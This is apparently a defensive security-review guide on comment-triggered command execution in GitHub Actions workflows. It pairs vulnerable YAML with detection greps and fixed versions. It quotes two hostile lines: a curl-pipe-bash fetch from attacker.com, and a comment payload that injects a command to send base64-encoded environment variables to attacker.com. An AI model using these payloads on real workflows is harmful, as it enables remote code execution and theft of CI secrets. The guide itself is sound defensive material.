/gha-security-review

Comment-Triggered Command Execution

Overview

Workflows triggered by issue_comment that parse commands from comment bodies (e.g., /deploy, /version, /approve) can be exploited if they lack authorization checks. Any GitHub user can comment on public repository issues/PRs, making unprotected command handlers a direct RCE vector.

The Vulnerability

# VULNERABLE: No author check — any GitHub user can trigger
on:
  issue_comment:
    types: [created]

jobs:
  deploy:
    if: contains(github.event.comment.body, '/deploy')
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh

Any GitHub user can comment /deploy on any issue or PR, and the workflow will execute.

Attack Vectors

Unauthorized Command Execution

The simplest attack: trigger a privileged operation without authorization.

# VULNERABLE: Any commenter can trigger version bump
on: issue_comment
jobs:
  version:
    if: |
      github.event.issue.pull_request &&
      contains(github.event.comment.body, '/version')
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: ./version.sh -u -n

Real-world: Used against project-akri (CNCF project). The attacker modified version.sh in their fork PR to inject curl -sSfL https://attacker.com/steal | bash at the top, then commented /version minor to trigger execution. No author_association check existed.

Compound: Command + Expression Injection

When the comment body is both the trigger AND used in a run: block:

# VULNERABLE: Double risk — no auth + expression injection
on: issue_comment
jobs:
  greet:
    if: startsWith(github.event.comment.body, '/greet')
    steps:
      - run: echo "Greeting from: ${{ github.event.comment.body }}"

Payload comment:

/greet"; curl https://attacker.com/$(env | base64) #

Command with Fork Checkout

# VULNERABLE: Comment triggers checkout of fork code
on: issue_comment
jobs:
  test:
    if: |
      github.event.issue.pull_request &&
      contains(github.event.comment.body, '/test')
    steps:
      - uses: actions/checkout@v4
        with:
          ref: refs/pull/${{ github.event.issue.number }}/merge
      - run: npm test  # Runs fork's test suite

This combines the issue_comment authorization problem with a pwn request — the comment triggers execution of untrusted fork code.

Detection Patterns

# Find issue_comment workflows
grep -rn "issue_comment" .github/workflows/

# Check for command patterns in conditions
grep -A10 "issue_comment" .github/workflows/*.yml | grep "contains\|startsWith"

# Check if author_association is validated
grep -A20 "issue_comment" .github/workflows/*.yml | grep "author_association"

# Check if comment body is used in run blocks
grep -A30 "issue_comment" .github/workflows/*.yml | grep "comment\.body"

The Fix: Author Association Check

# SAFE: Only org members can trigger commands
on:
  issue_comment:
    types: [created]

jobs:
  deploy:
    if: |
      contains(github.event.comment.body, '/deploy') &&
      (
        github.event.comment.author_association == 'MEMBER' ||
        github.event.comment.author_association == 'OWNER' ||
        github.event.comment.author_association == 'COLLABORATOR'
      )
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh

Author Association Values

Recommended: Only allow MEMBER, OWNER, and COLLABORATOR.

Additional Protections

# SAFER: Author check + no expression injection + approval team
jobs:
  deploy:
    if: |
      contains(github.event.comment.body, '/deploy') &&
      github.event.comment.author_association == 'MEMBER'
    steps:
      - uses: actions/checkout@v4
      # Use env var for any comment data, not ${{ }} in run:
      - env:
          COMMENT_BODY: ${{ github.event.comment.body }}
        run: |
          # Parse command arguments safely
          ARGS=$(echo "$COMMENT_BODY" | grep -oP '(?<=/deploy\s).*' | head -1)
          # Validate arguments against allowlist
          if [[ "$ARGS" =~ ^(staging|production)$ ]]; then
            ./deploy.sh "$ARGS"
          else
            echo "Invalid deploy target: $ARGS"
            exit 1
          fi

Exploitation Scenario Template

ATTACK: Unauthorized Command via issue_comment
ENTRY: Attacker comments on a public issue/PR
PAYLOAD: Comment body containing "/[command]" [+ optional injection]
TRIGGER: issue_comment workflow at [file:line], condition at line [N]
  matches without checking author_association
EXECUTION: [What runs — script execution, fork checkout, etc.]
IMPACT: [RCE, deployment trigger, secret access, etc.]

References

• GitHub Docs: Events that trigger workflows — issue_comment
• HackerBot Claw — project-akri /version command exploit